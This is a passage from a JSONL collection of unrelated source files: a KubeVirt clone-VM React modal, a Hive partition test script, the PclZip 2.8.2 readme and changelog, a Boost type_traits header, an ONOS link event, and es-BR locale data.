: null;\n\n const persistentVolumeClaimsData = getLoadedData(persistentVolumeClaims, []);\n const dataVolumesData = getLoadedData(dataVolumes, []);\n\n const nameError = validateVmLikeEntityName(name, namespace, getLoadedData(virtualMachines, []), {\n existsErrorMessage: VIRTUAL_MACHINE_EXISTS,\n subject: 'Name',\n });\n\n const dataVolumesValid = !(dataVolumesError || (requestsDataVolumes && !dataVolumes.loaded));\n const pvcsValid = !(pvcsError || (requestsPVCs && !persistentVolumeClaims.loaded));\n\n const isValid =\n !nameError && dataVolumesValid && pvcsValid && !namespacesError && name && namespace;\n\n const submit = (e) => {\n e.preventDefault();\n\n const promise = cloneVM(\n {\n vm,\n dataVolumes: dataVolumesData,\n persistentVolumeClaims: persistentVolumeClaimsData,\n },\n { name, namespace, description, startVM },\n );\n handlePromise(promise, close);\n };\n\n const onCancelClick = (e) => {\n e.stopPropagation();\n cancel();\n };\n\n const vmRunningWarning =\n isVMExpectedRunning(vm) &&\n `The VM ${getName(vm)} is still running. It will be powered off while cloning.`;\n\n return (\n
\n Clone Virtual Machine\n \n err.message)}\n />\n
\n \n setName(v)}\n aria-label=\"new VM name\"\n />\n \n \n setDescription(v)}\n className=\"kubevirt-clone-vm-modal__description\"\n />\n \n \n onNamespaceChanged(v)}\n id={asId('namespace')}\n >\n {[...getLoadedData(namespaces, [])]\n .sort((n1, n2) => {\n const n1Name = getName(n1);\n const n2Name = getName(n2);\n return n1Name.localeCompare(n2Name);\n })\n .map((n) => {\n const namespaceName = getName(n);\n return (\n \n );\n })}\n \n \n \n \n \n \n \n \n \n
\n \n
\n );\n});\n\nexport type CloneVMModalProps = CloneVMModalFirehoseProps &\n HandlePromiseProps & {\n namespace: string;\n onNamespaceChanged: (namespace: string) => void;\n namespaces?: FirehoseResult;\n virtualMachines?: FirehoseResult;\n dataVolumes?: FirehoseResult;\n persistentVolumeClaims?: FirehoseResult;\n requestsDataVolumes: boolean;\n requestsPVCs: boolean;\n };\n\nconst CloneVMModalFirehose: React.FC = (props) => {\n const { vm, useProjects } = props;\n const vmNamespace = getNamespace(vm);\n const [namespace, setNamespace] = React.useState(vmNamespace);\n\n const requestsDataVolumes = !!getVolumes(vm).find(getVolumeDataVolumeName);\n const requestsPVCs = !!getVolumes(vm).find(getVolumePersistentVolumeClaimName);\n\n const resources: FirehoseResource[] = [\n {\n kind: (useProjects ? ProjectModel : NamespaceModel).kind,\n isList: true,\n prop: 'namespaces',\n },\n {\n kind: VirtualMachineModel.kind,\n namespace,\n isList: true,\n prop: 'virtualMachines',\n },\n ];\n\n if (requestsPVCs) {\n resources.push({\n kind: PersistentVolumeClaimModel.kind,\n namespace: vmNamespace,\n isList: true,\n prop: 'persistentVolumeClaims',\n });\n }\n\n if (requestsDataVolumes) {\n resources.push({\n kind: DataVolumeModel.kind,\n namespace: vmNamespace,\n isList: true,\n prop: 'dataVolumes',\n });\n }\n\n return (\n \n setNamespace(n)}\n requestsDataVolumes={requestsDataVolumes}\n requestsPVCs={requestsPVCs}\n />\n \n );\n};\n\ntype CloneVMModalFirehoseProps = ModalComponentProps & {\n vm: VMKind;\n useProjects: boolean;\n};\n\nconst cloneVMModalStateToProps = ({ k8s }) => {\n const useProjects = k8s.hasIn(['RESOURCES', 'models', ProjectModel.kind]);\n return {\n useProjects,\n };\n};\n\nconst CloneVMModalConnected = connect(cloneVMModalStateToProps)(CloneVMModalFirehose);\n\nexport const cloneVMModal = createModalLauncher(CloneVMModalConnected);\n"} +{"text": "set hive.exec.dynamic.partition.mode=nonstrict;\nset hive.exec.dynamic.partition=true;\n\nDROP TABLE insert_into6a;\nDROP TABLE insert_into6b;\nCREATE TABLE insert_into6a (key int, value string) PARTITIONED BY (ds string);\nCREATE TABLE insert_into6b (key int, value string) PARTITIONED BY (ds string);\n\nEXPLAIN INSERT INTO TABLE insert_into6a PARTITION (ds='1') \n SELECT * FROM src LIMIT 150;\nINSERT INTO TABLE insert_into6a PARTITION (ds='1') SELECT * FROM src LIMIT 150;\nINSERT INTO TABLE insert_into6a PARTITION (ds='2') SELECT * FROM src LIMIT 100;\nSELECT SUM(HASH(c)) FROM (\n SELECT TRANSFORM(*) USING 'tr \\t _' AS (c) FROM insert_into6a\n) t;\n\nEXPLAIN INSERT INTO TABLE insert_into6b PARTITION (ds) \n SELECT * FROM insert_into6a;\nINSERT INTO TABLE insert_into6b PARTITION (ds) SELECT * FROM insert_into6a;\nSELECT SUM(HASH(c)) FROM (\n SELECT TRANSFORM(*) USING 'tr \\t _' AS (c) FROM insert_into6b\n) t;\n\nSHOW PARTITIONS insert_into6b;\n\nDROP TABLE insert_into6a;\nDROP TABLE insert_into6b;\n\n"} +{"text": "// --------------------------------------------------------------------------------\n// PclZip 2.8.2 - readme.txt\n// --------------------------------------------------------------------------------\n// License GNU/LGPL - August 2009\n// Vincent Blavet - vincent@phpconcept.net\n// http://www.phpconcept.net\n// --------------------------------------------------------------------------------\n// $Id: readme.txt,v 1.60 2009/09/30 20:35:21 vblavet Exp $\n// --------------------------------------------------------------------------------\n\n\n\n0 - Sommaire\n============\n 1 - Introduction\n 2 - What's new\n 3 - Corrected bugs\n 4 - Known bugs or limitations\n 5 - License\n 6 - Warning\n 7 - Documentation\n 8 - Author\n 9 - Contribute\n\n1 - Introduction\n================\n\n PclZip is a library that allow you to manage a Zip archive.\n\n Full documentation about PclZip can be found here : http://www.phpconcept.net/pclzip\n\n2 - What's new\n==============\n\n Version 2.8.2 :\n - PCLZIP_CB_PRE_EXTRACT and PCLZIP_CB_POST_EXTRACT are now supported with \n extraction as a string (PCLZIP_OPT_EXTRACT_AS_STRING). The string\n can also be modified in the post-extract call back.\n **Bugs correction :\n - PCLZIP_OPT_REMOVE_ALL_PATH was not working correctly \n - Remove use of eval() and do direct call to callback functions\n - Correct support of 64bits systems (Thanks to WordPress team)\n\n Version 2.8.1 :\n - Move option PCLZIP_OPT_BY_EREG to PCLZIP_OPT_BY_PREG because ereg() is\n deprecated in PHP 5.3. When using option PCLZIP_OPT_BY_EREG, PclZip will\n automatically replace it by PCLZIP_OPT_BY_PREG.\n \n Version 2.8 :\n - Improve extraction of zip archive for large files by using temporary files\n This feature is working like the one defined in r2.7.\n Options are renamed : PCLZIP_OPT_TEMP_FILE_ON, PCLZIP_OPT_TEMP_FILE_OFF,\n PCLZIP_OPT_TEMP_FILE_THRESHOLD\n - Add a ratio constant PCLZIP_TEMPORARY_FILE_RATIO to configure the auto\n sense of temporary file use.\n - Bug correction : Reduce filepath in returned file list to remove ennoying\n './/' preambule in file path.\n\n Version 2.7 :\n - Improve creation of zip archive for large files :\n PclZip will now autosense the configured memory and use temporary files\n when large file is suspected.\n This feature can also ne triggered by manual options in create() and add()\n methods. 'PCLZIP_OPT_ADD_TEMP_FILE_ON' force the use of temporary files,\n 'PCLZIP_OPT_ADD_TEMP_FILE_OFF' disable the autosense technic, \n 'PCLZIP_OPT_ADD_TEMP_FILE_THRESHOLD' allow for configuration of a size\n threshold to use temporary files.\n Using \"temporary files\" rather than \"memory\" might take more time, but\n might give the ability to zip very large files :\n Tested on my win laptop with a 88Mo file :\n Zip \"in-memory\" : 18sec (max_execution_time=30, memory_limit=180Mo)\n Zip \"tmporary-files\" : 23sec (max_execution_time=30, memory_limit=30Mo)\n - Replace use of mktime() by time() to limit the E_STRICT error messages.\n - Bug correction : When adding files with full windows path (drive letter)\n PclZip is now working. Before, if the drive letter is not the default\n path, PclZip was not able to add the file.\n\n Version 2.6 :\n - Code optimisation\n - New attributes PCLZIP_ATT_FILE_COMMENT gives the ability to\n add a comment for a specific file. (Don't really know if this is usefull)\n - New attribute PCLZIP_ATT_FILE_CONTENT gives the ability to add a string \n as a file.\n - New attribute PCLZIP_ATT_FILE_MTIME modify the timestamp associated with\n a file.\n - Correct a bug. Files archived with a timestamp with 0h0m0s were extracted\n with current time\n - Add CRC value in the informations returned back for each file after an\n action.\n - Add missing closedir() statement.\n - When adding a folder, and removing the path of this folder, files were\n incorrectly added with a '/' at the beginning. Which means files are \n related to root in unix systems. Corrected.\n - Add conditional if before constant definition. This will allow users\n to redefine constants without changing the file, and then improve\n upgrade of pclzip code for new versions.\n \n Version 2.5 :\n - Introduce the ability to add file/folder with individual properties (file descriptor).\n This gives for example the ability to change the filename of a zipped file.\n . Able to add files individually\n . Able to change full name\n . Able to change short name\n . Compatible with global options\n - New attributes : PCLZIP_ATT_FILE_NAME, PCLZIP_ATT_FILE_NEW_SHORT_NAME, PCLZIP_ATT_FILE_NEW_FULL_NAME\n - New error code : PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE\n - Add a security control feature. PclZip can extract any file in any folder\n of a system. People may use this to upload a zip file and try to override\n a system file. The PCLZIP_OPT_EXTRACT_DIR_RESTRICTION will give the\n ability to forgive any directory transversal behavior.\n - New PCLZIP_OPT_EXTRACT_DIR_RESTRICTION : check extraction path\n - New error code : PCLZIP_ERR_DIRECTORY_RESTRICTION\n - Modification in PclZipUtilPathInclusion() : dir and path beginning with ./ will be prepend\n by current path (getcwd())\n \n Version 2.4 :\n - Code improvment : try to speed up the code by removing unusefull call to pack()\n - Correct bug in delete() : delete() should be called with no argument. This was not\n the case in 2.3. This is corrected in 2.4.\n - Correct a bug in path_inclusion function. When the path has several '../../', the\n result was bad.\n - Add a check for magic_quotes_runtime configuration. If enabled, PclZip will \n disable it while working and det it back to its original value.\n This resolve a lots of bad formated archive errors.\n - Bug correction : PclZip now correctly unzip file in some specific situation,\n when compressed content has same size as uncompressed content.\n - Bug correction : When selecting option 'PCLZIP_OPT_REMOVE_ALL_PATH', \n directories are not any more created.\n - Code improvment : correct unclosed opendir(), better handling of . and .. in\n loops.\n\n\n Version 2.3 :\n - Correct a bug with PHP5 : affecting the value 0xFE49FFE0 to a variable does not\n give the same result in PHP4 and PHP5 ....\n\n Version 2.2 :\n - Try development of PCLZIP_OPT_CRYPT .....\n However this becomes to a stop. To crypt/decrypt I need to multiply 2 long integers,\n the result (greater than a long) is not supported by PHP. Even the use of bcmath\n functions does not help. I did not find yet a solution ...;\n - Add missing '/' at end of directory entries\n - Check is a file is encrypted or not. Returns status 'unsupported_encryption' and/or\n error code PCLZIP_ERR_UNSUPPORTED_ENCRYPTION.\n - Corrected : Bad \"version need to extract\" field in local file header\n - Add private method privCheckFileHeaders() in order to check local and central\n file headers. PclZip is now supporting purpose bit flag bit 3. Purpose bit flag bit 3 gives\n the ability to have a local file header without size, compressed size and crc filled.\n - Add a generic status 'error' for file status\n - Add control of compression type. PclZip only support deflate compression method.\n Before v2.2, PclZip does not check the compression method used in an archive while\n extracting. With v2.2 PclZip returns a new error status for a file using an unsupported\n compression method. New status is \"unsupported_compression\". New error code is\n PCLZIP_ERR_UNSUPPORTED_COMPRESSION.\n - Add optional attribute PCLZIP_OPT_STOP_ON_ERROR. This will stop the extract of files\n when errors like 'a folder with same name exists' or 'a newer file exists' or\n 'a write protected file' exists, rather than set a status for the concerning file\n and resume the extract of the zip.\n - Add optional attribute PCLZIP_OPT_REPLACE_NEWER. This will force, during an extract' the\n replacement of the file, even if a newer version of the file exists.\n Note that today if a file with the same name already exists but is older it will be\n replaced by the extracted one.\n - Improve PclZipUtilOption()\n - Support of zip archive with trailing bytes. Before 2.2, PclZip checks that the central\n directory structure is the last data in the archive. Crypt encryption/decryption of\n zip archive put trailing 0 bytes after decryption. PclZip is now supporting this.\n\n Version 2.1 :\n - Add the ability to abort the extraction by using a user callback function.\n The user can now return the value '2' in its callback which indicates to stop the\n extraction. For a pre call-back extract is stopped before the extration of the current\n file. For a post call back, the extraction is stopped after.\n - Add the ability to extract a file (or several files) directly in the standard output.\n This is done by the new parameter PCLZIP_OPT_EXTRACT_IN_OUTPUT with method extract().\n - Add support for parameters PCLZIP_OPT_COMMENT, PCLZIP_OPT_ADD_COMMENT,\n PCLZIP_OPT_PREPEND_COMMENT. This will create, replace, add, or prepend comments\n in the zip archive.\n - When merging two archives, the comments are not any more lost, but merged, with a \n blank space separator.\n - Corrected bug : Files are not deleted when all files are asked to be deleted.\n - Corrected bug : Folders with name '0' made PclZip to abort the create or add feature.\n\n\n Version 2.0 :\n ***** Warning : Some new features may break the backward compatibility for your scripts.\n Please carefully read the readme file.\n - Add the ability to delete by Index, name and regular expression. This feature is \n performed by the method delete(), which uses the optional parameters\n PCLZIP_OPT_BY_INDEX, PCLZIP_OPT_BY_NAME, PCLZIP_OPT_BY_EREG or PCLZIP_OPT_BY_PREG.\n - Add the ability to extract by regular expression. To extract by regexp you must use the method\n extract(), with the option PCLZIP_OPT_BY_EREG or PCLZIP_OPT_BY_PREG \n (depending if you want to use ereg() or preg_match() syntax) followed by the \n regular expression pattern.\n - Add the ability to extract by index, directly with the extract() method. This is a\n code improvment of the extractByIndex() method.\n - Add the ability to extract by name. To extract by name you must use the method\n extract(), with the option PCLZIP_OPT_BY_NAME followed by the filename to\n extract or an array of filenames to extract. To extract all a folder, use the folder\n name rather than the filename with a '/' at the end.\n - Add the ability to add files without compression. This is done with a new attribute\n which is PCLZIP_OPT_NO_COMPRESSION.\n - Add the attribute PCLZIP_OPT_EXTRACT_AS_STRING, which allow to extract a file directly\n in a string without using any file (or temporary file).\n - Add constant PCLZIP_SEPARATOR for static configuration of filename separators in a single string.\n The default separator is now a comma (,) and not any more a blank space.\n THIS BREAK THE BACKWARD COMPATIBILITY : Please check if this may have an impact with\n your script.\n - Improve algorythm performance by removing the use of temporary files when adding or \n extracting files in an archive.\n - Add (correct) detection of empty filename zipping. This can occurs when the removed\n path is the same\n as a zipped dir. The dir is not zipped (['status'] = filtered), only its content.\n - Add better support for windows paths (thanks for help from manus@manusfreedom.com).\n - Corrected bug : When the archive file already exists with size=0, the add() method\n fails. Corrected in 2.0.\n - Remove the use of OS_WINDOWS constant. Use php_uname() function rather.\n - Control the order of index ranges in extract by index feature.\n - Change the internal management of folders (better handling of internal flag).\n\n\n Version 1.3 :\n - Removing the double include check. This is now done by include_once() and require_once()\n PHP directives.\n - Changing the error handling mecanism : Remove the use of an external error library.\n The former PclError...() functions are replaced by internal equivalent methods.\n By changing the environment variable PCLZIP_ERROR_EXTERNAL you can still use the former library.\n Introducing the use of constants for error codes rather than integer values. This will help\n in futur improvment.\n Introduction of error handling functions like errorCode(), errorName() and errorInfo().\n - Remove the deprecated use of calling function with arguments passed by reference.\n - Add the calling of extract(), extractByIndex(), create() and add() functions\n with variable options rather than fixed arguments.\n - Add the ability to remove all the file path while extracting or adding,\n without any need to specify the path to remove.\n This is available for extract(), extractByIndex(), create() and add() functionS by using\n the new variable options parameters :\n - PCLZIP_OPT_REMOVE_ALL_PATH : by indicating this option while calling the fct.\n - Ability to change the mode of a file after the extraction (chmod()).\n This is available for extract() and extractByIndex() functionS by using\n the new variable options parameters.\n - PCLZIP_OPT_SET_CHMOD : by setting the value of this option.\n - Ability to definition call-back options. These call-back will be called during the adding,\n or the extracting of file (extract(), extractByIndex(), create() and add() functions) :\n - PCLZIP_CB_PRE_EXTRACT : will be called before each extraction of a file. The user\n can trigerred the change the filename of the extracted file. The user can triggered the\n skip of the extraction. This is adding a 'skipped' status in the file list result value.\n - PCLZIP_CB_POST_EXTRACT : will be called after each extraction of a file.\n Nothing can be triggered from that point.\n - PCLZIP_CB_PRE_ADD : will be called before each add of a file. The user\n can trigerred the change the stored filename of the added file. The user can triggered the\n skip of the add. This is adding a 'skipped' status in the file list result value.\n - PCLZIP_CB_POST_ADD : will be called after each add of a file.\n Nothing can be triggered from that point.\n - Two status are added in the file list returned as function result : skipped & filename_too_long\n 'skipped' is used when a call-back function ask for skipping the file.\n 'filename_too_long' is used while adding a file with a too long filename to archive (the file is\n not added)\n - Adding the function PclZipUtilPathInclusion(), that check the inclusion of a path into\n a directory.\n - Add a check of the presence of the archive file before some actions (like list, ...)\n - Add the initialisation of field \"index\" in header array. This means that by\n default index will be -1 when not explicitly set by the methods.\n\n Version 1.2 :\n - Adding a duplicate function.\n - Adding a merge function. The merge function is a \"quick merge\" function,\n it just append the content of an archive at the end of the first one. There\n is no check for duplicate files or more recent files.\n - Improve the search of the central directory end.\n\n Version 1.1.2 :\n\n - Changing the license of PclZip. PclZip is now released under the GNU / LGPL license\n (see License section).\n - Adding the optional support of a static temporary directory. You will need to configure\n the constant PCLZIP_TEMPORARY_DIR if you want to use this feature.\n - Improving the rename() function. In some cases rename() does not work (different\n Filesystems), so it will be replaced by a copy() + unlink() functions.\n\n Version 1.1.1 :\n\n - Maintenance release, no new feature.\n\n Version 1.1 :\n\n - New method Add() : adding files in the archive\n - New method ExtractByIndex() : partial extract of the archive, files are identified by\n their index in the archive\n - New method DeleteByIndex() : delete some files/folder entries from the archive,\n files are identified by their index in the archive.\n - Adding a test of the zlib extension presence. If not present abort the script.\n\n Version 1.0.1 :\n\n - No new feature\n\n\n3 - Corrected bugs\n==================\n\n Corrected in Version 2.0 :\n - Corrected : During an extraction, if a call-back fucntion is used and try to skip\n a file, all the extraction process is stopped. \n\n Corrected in Version 1.3 :\n - Corrected : Support of static synopsis for method extract() is broken.\n - Corrected : invalid size of archive content field (0xFF) should be (0xFFFF).\n - Corrected : When an extract is done with a remove_path parameter, the entry for\n the directory with exactly the same path is not skipped/filtered.\n - Corrected : extractByIndex() and deleteByIndex() were not managing index in the\n right way. For example indexes '1,3-5,11' will only extract files 1 and 11. This\n is due to a sort of the index resulting table that puts 11 before 3-5 (sort on\n string and not interger). The sort is temporarilly removed, this means that\n you must provide a sorted list of index ranges.\n\n Corrected in Version 1.2 :\n\n - Nothing.\n\n Corrected in Version 1.1.2 :\n\n - Corrected : Winzip is unable to delete or add new files in a PclZip created archives.\n\n Corrected in Version 1.1.1 :\n\n - Corrected : When archived file is not compressed (0% compression), the\n extract method fails.\n\n Corrected in Version 1.1 :\n\n - Corrected : Adding a complete tree of folder may result in a bad archive\n creation.\n\n Corrected in Version 1.0.1 :\n\n - Corrected : Error while compressing files greater than PCLZIP_READ_BLOCK_SIZE (default=1024).\n\n\n4 - Known bugs or limitations\n=============================\n\n Please publish bugs reports in SourceForge :\n http://sourceforge.net/tracker/?group_id=40254&atid=427564\n\n In Version 2.x :\n - PclZip does only support file uncompressed or compressed with deflate (compression method 8)\n - PclZip does not support password protected zip archive\n - Some concern were seen when changing mtime of a file while archiving. \n Seems to be linked to Daylight Saving Time (PclTest_changing_mtime).\n\n In Version 1.2 :\n\n - merge() methods does not check for duplicate files or last date of modifications.\n\n In Version 1.1 :\n\n - Limitation : Using 'extract' fields in the file header in the zip archive is not supported.\n - WinZip is unable to delete a single file in a PclZip created archive. It is also unable to\n add a file in a PclZip created archive. (Corrected in v.1.2)\n\n In Version 1.0.1 :\n\n - Adding a complete tree of folder may result in a bad archive\n creation. (Corrected in V.1.1).\n - Path given to methods must be in the unix format (/) and not the Windows format (\\).\n Workaround : Use only / directory separators.\n - PclZip is using temporary files that are sometime the name of the file with a .tmp or .gz\n added suffix. Files with these names may already exist and may be overwritten.\n Workaround : none.\n - PclZip does not check if the zlib extension is present. If it is absent, the zip\n file is not created and the lib abort without warning.\n Workaround : enable the zlib extension on the php install\n\n In Version 1.0 :\n\n - Error while compressing files greater than PCLZIP_READ_BLOCK_SIZE (default=1024).\n (Corrected in v.1.0.1)\n - Limitation : Multi-disk zip archive are not supported.\n\n\n5 - License\n===========\n\n Since version 1.1.2, PclZip Library is released under GNU/LGPL license.\n This library is free, so you can use it at no cost.\n\n HOWEVER, if you release a script, an application, a library or any kind of\n code using PclZip library (or a part of it), YOU MUST :\n - Indicate in the documentation (or a readme file), that your work\n uses PclZip Library, and make a reference to the author and the web site\n http://www.phpconcept.net\n - Gives the ability to the final user to update the PclZip libary.\n\n I will also appreciate that you send me a mail (vincent@phpconcept.net), just to\n be aware that someone is using PclZip.\n\n For more information about GNU/LGPL license : http://www.gnu.org\n\n6 - Warning\n=================\n\n This library and the associated files are non commercial, non professional work.\n It should not have unexpected results. However if any damage is caused by this software\n the author can not be responsible.\n The use of this software is at the risk of the user.\n\n7 - Documentation\n=================\n PclZip User Manuel is available in English on PhpConcept : http://www.phpconcept.net/pclzip/man/en/index.php\n A Russian translation was done by Feskov Kuzma : http://php.russofile.ru/ru/authors/unsort/zip/\n\n8 - Author\n==========\n\n This software was written by Vincent Blavet (vincent@phpconcept.net) on its leasure time.\n\n9 - Contribute\n==============\n If you want to contribute to the development of PclZip, please contact vincent@phpconcept.net.\n If you can help in financing PhpConcept hosting service, please go to\n http://www.phpconcept.net/soutien.php\n"} +{"text": "--loose-debug=d,simulate_kill_bug27571\n"} +{"text": "\n// (C) Copyright Steve Cleary, Beman Dawes, Howard Hinnant & John Maddock 2000.\n// Use, modification and distribution are subject to the Boost Software License,\n// Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at\n// http://www.boost.org/LICENSE_1_0.txt).\n//\n// See http://www.boost.org/libs/type_traits for most recent version including documentation.\n\n#ifndef BOOST_TT_CONFIG_HPP_INCLUDED\n#define BOOST_TT_CONFIG_HPP_INCLUDED\n\n#ifndef BOOST_CONFIG_HPP\n#include \n#endif\n#include \n#include \n\n//\n// whenever we have a conversion function with ellipses\n// it needs to be declared __cdecl to suppress compiler\n// warnings from MS and Borland compilers (this *must*\n// appear before we include is_same.hpp below):\n#if defined(BOOST_MSVC) || (defined(__BORLANDC__) && !defined(BOOST_DISABLE_WIN32))\n# define BOOST_TT_DECL __cdecl\n#else\n# define BOOST_TT_DECL /**/\n#endif\n\n# if (BOOST_WORKAROUND(__MWERKS__, < 0x3000) \\\n || BOOST_WORKAROUND(__IBMCPP__, < 600 ) \\\n || BOOST_WORKAROUND(__BORLANDC__, < 0x5A0) \\\n || defined(__ghs) \\\n || BOOST_WORKAROUND(__HP_aCC, < 60700) \\\n || BOOST_WORKAROUND(MPW_CPLUS, BOOST_TESTED_AT(0x890)) \\\n || BOOST_WORKAROUND(__SUNPRO_CC, BOOST_TESTED_AT(0x580))) \\\n && defined(BOOST_NO_IS_ABSTRACT)\n\n# define BOOST_TT_NO_CONFORMING_IS_CLASS_IMPLEMENTATION 1\n\n#endif\n\n#ifndef BOOST_TT_NO_CONFORMING_IS_CLASS_IMPLEMENTATION\n# define BOOST_TT_HAS_CONFORMING_IS_CLASS_IMPLEMENTATION 1\n#endif\n\n//\n// define BOOST_TT_TEST_MS_FUNC_SIGS\n// when we want to test __stdcall etc function types with is_function etc\n// (Note, does not work with Borland, even though it does support __stdcall etc):\n//\n#if defined(_MSC_EXTENSIONS) && !defined(__BORLANDC__)\n# define BOOST_TT_TEST_MS_FUNC_SIGS\n#endif\n\n//\n// define BOOST_TT_NO_CV_FUNC_TEST\n// if tests for cv-qualified member functions don't\n// work in is_member_function_pointer\n//\n#if BOOST_WORKAROUND(__MWERKS__, < 0x3000) || BOOST_WORKAROUND(__IBMCPP__, <= 600)\n# define BOOST_TT_NO_CV_FUNC_TEST\n#endif\n\n//\n// Macros that have been deprecated, defined here for backwards compatibility:\n//\n#define BOOST_BROKEN_COMPILER_TYPE_TRAITS_SPECIALIZATION(x)\n#define BOOST_TT_BROKEN_COMPILER_SPEC(x)\n\n#endif // BOOST_TT_CONFIG_HPP_INCLUDED\n"} +{"text": "{\n \"event\": \"addLink\",\n \"payload\": {\n \"id\": \"of:0000ffffffff000a/11-of:0000ffffffff000b/10\",\n \"type\": \"direct\",\n \"online\": true,\n \"linkWidth\": 2,\n \"src\": \"of:0000ffffffff000a\",\n \"srcPort\": \"11\",\n \"dst\": \"of:0000ffffffff000b\",\n \"dstPort\": \"10\"\n }\n}\n"} +{"text": "{\n \"locale\": \"es-BR\",\n \"date\": {\n \"ca\": [\n \"gregory\",\n \"generic\"\n ],\n \"hourNo0\": true,\n \"hour12\": false,\n \"formats\": {\n \"short\": \"{1} {0}\",\n \"medium\": \"{1} {0}\",\n \"full\": \"{1}, {0}\",\n \"long\": \"{1}, {0}\",\n \"availableFormats\": {\n \"d\": \"d\",\n \"E\": \"ccc\",\n \"Ed\": \"E d\",\n \"Ehm\": \"E, h:mm a\",\n \"EHm\": \"E, HH:mm\",\n \"Ehms\": \"E, h:mm:ss a\",\n \"EHms\": \"E, HH:mm:ss\",\n \"Gy\": \"y G\",\n \"GyMMM\": \"MMM y G\",\n \"GyMMMd\": \"d 'de' MMM 'de' y G\",\n \"GyMMMEd\": \"E, d MMM y G\",\n \"GyMMMM\": \"MMMM 'de' y G\",\n \"GyMMMMd\": \"d 'de' MMMM 'de' y G\",\n \"GyMMMMEd\": \"E, d 'de' MMMM 'de' y G\",\n \"h\": \"h a\",\n \"H\": \"HH\",\n \"hm\": \"h:mm a\",\n \"Hm\": \"HH:mm\",\n \"hms\": \"h:mm:ss a\",\n \"Hms\": \"HH:mm:ss\",\n \"hmsv\": \"h:mm:ss a v\",\n \"Hmsv\": \"H:mm:ss v\",\n \"hmsvvvv\": \"h:mm:ss a (vvvv)\",\n \"Hmsvvvv\": \"H:mm:ss (vvvv)\",\n \"hmv\": \"h:mm a v\",\n \"Hmv\": \"H:mm v\",\n \"M\": \"L\",\n \"Md\": \"d/M\",\n \"MEd\": \"E, d/M\",\n \"MMd\": \"d/M\",\n \"MMdd\": \"d/M\",\n \"MMM\": \"LLL\",\n \"MMMd\": \"d MMM\",\n \"MMMdd\": \"dd-MMM\",\n \"MMMEd\": \"E, d MMM\",\n \"MMMMd\": \"d 'de' MMMM\",\n \"MMMMEd\": \"E, d 'de' MMMM\",\n \"ms\": \"mm:ss\",\n \"y\": \"y\",\n \"yM\": \"M/y\",\n \"yMd\": \"d/M/y\",\n \"yMEd\": \"E d/M/y\",\n \"yMM\": \"M/y\",\n \"yMMM\": \"MMMM 'de' y\",\n \"yMMMd\": \"d 'de' MMMM 'de' y\",\n \"yMMMEd\": \"E, d 'de' MMM 'de' y\",\n \"yMMMM\": \"MMMM 'de' y\",\n \"yMMMMd\": \"d 'de' MMMM 'de' y\",\n \"yMMMMEd\": \"EEE, d 'de' MMMM 'de' y\",\n \"yQQQ\": \"QQQ 'de' y\",\n \"yQQQQ\": \"QQQQ 'de' y\"\n },\n \"dateFormats\": {\n \"yMMMMEEEEd\": \"EEEE, d 'de' MMMM 'de' y\",\n \"yMMMMd\": \"d 'de' MMMM 'de' y\",\n \"yMMMd\": \"d MMM y\",\n \"yMd\": \"d/M/yy\"\n },\n \"timeFormats\": {\n \"hmmsszzzz\": \"HH:mm:ss zzzz\",\n \"hmsz\": \"HH:mm:ss z\",\n \"hms\": \"HH:mm:ss\",\n \"hm\": \"HH:mm\"\n }\n },\n \"calendars\": {\n \"generic\": {\n \"months\": {\n \"narrow\": [\n \"1\",\n \"2\",\n \"3\",\n \"4\",\n \"5\",\n \"6\",\n \"7\",\n \"8\",\n \"9\",\n \"10\",\n \"11\",\n \"12\"\n ],\n \"short\": [\n \"M01\",\n \"M02\",\n \"M03\",\n \"M04\",\n \"M05\",\n \"M06\",\n \"M07\",\n \"M08\",\n \"M09\",\n \"M10\",\n \"M11\",\n \"M12\"\n ],\n \"long\": [\n \"M01\",\n \"M02\",\n \"M03\",\n \"M04\",\n \"M05\",\n \"M06\",\n \"M07\",\n \"M08\",\n \"M09\",\n \"M10\",\n \"M11\",\n \"M12\"\n ]\n },\n \"days\": {\n \"narrow\": [\n \"d\",\n \"l\",\n \"m\",\n \"m\",\n \"j\",\n \"v\",\n \"s\"\n ],\n \"short\": [\n \"dom.\",\n \"lun.\",\n \"mar.\",\n \"mié.\",\n \"jue.\",\n \"vie.\",\n \"sáb.\"\n ],\n \"long\": [\n \"domingo\",\n \"lunes\",\n \"martes\",\n \"miércoles\",\n \"jueves\",\n \"viernes\",\n \"sábado\"\n ]\n },\n \"eras\": {\n \"narrow\": [\n \"ERA0\",\n \"ERA1\"\n ],\n \"short\": [\n \"ERA0\",\n \"ERA1\"\n ],\n \"long\": [\n \"ERA0\",\n \"ERA1\"\n ]\n },\n \"dayPeriods\": {\n \"am\": \"a.m.\",\n \"pm\": \"p.m.\"\n }\n },\n \"gregory\": {\n \"months\": {\n \"narrow\": [\n \"e\",\n \"f\",\n \"m\",\n \"a\",\n \"m\",\n \"j\",\n \"j\",\n \"a\",\n \"s\",\n \"o\",\n \"n\",\n \"d\"\n ],\n \"short\": [\n \"ene.\",\n \"feb.\",\n \"mar.\",\n \"abr.\",\n \"may.\",\n \"jun.\",\n \"jul.\",\n \"ago.\",\n \"sep.\",\n \"oct.\",\n \"nov.\",\n \"dic.\"\n ],\n \"long\": [\n \"enero\",\n \"febrero\",\n \"marzo\",\n \"abril\",\n \"mayo\",\n \"junio\",\n \"julio\",\n \"agosto\",\n \"septiembre\",\n \"octubre\",\n \"noviembre\",\n \"diciembre\"\n ]\n },\n \"days\": {\n \"narrow\": [\n \"d\",\n \"l\",\n \"m\",\n \"m\",\n \"j\",\n \"v\",\n \"s\"\n ],\n \"short\": [\n \"dom.\",\n \"lun.\",\n \"mar.\",\n \"mié.\",\n \"jue.\",\n \"vie.\",\n \"sáb.\"\n ],\n \"long\": [\n \"domingo\",\n \"lunes\",\n \"martes\",\n \"miércoles\",\n \"jueves\",\n \"viernes\",\n \"sábado\"\n ]\n },\n \"eras\": {\n \"narrow\": [\n \"a. C.\",\n \"d. C.\",\n \"a. e. c.\",\n \"e. c.\"\n ],\n \"short\": [\n \"a. C.\",\n \"d. C.\",\n \"a. e. c.\",\n \"e. c.\"\n ],\n \"long\": [\n \"antes de Cristo\",\n \"después de Cristo\",\n \"antes de la era común\",\n \"era común\"\n ]\n },\n \"dayPeriods\": {\n \"am\": \"a.m.\",\n \"pm\": \"p.m.\"\n }\n }\n }\n },\n \"number\": {\n \"nu\": [\n \"latn\"\n ],\n \"patterns\": {\n \"decimal\": {\n \"positivePattern\": \"{number}\",\n \"negativePattern\": \"{minusSign}{number}\"\n },\n 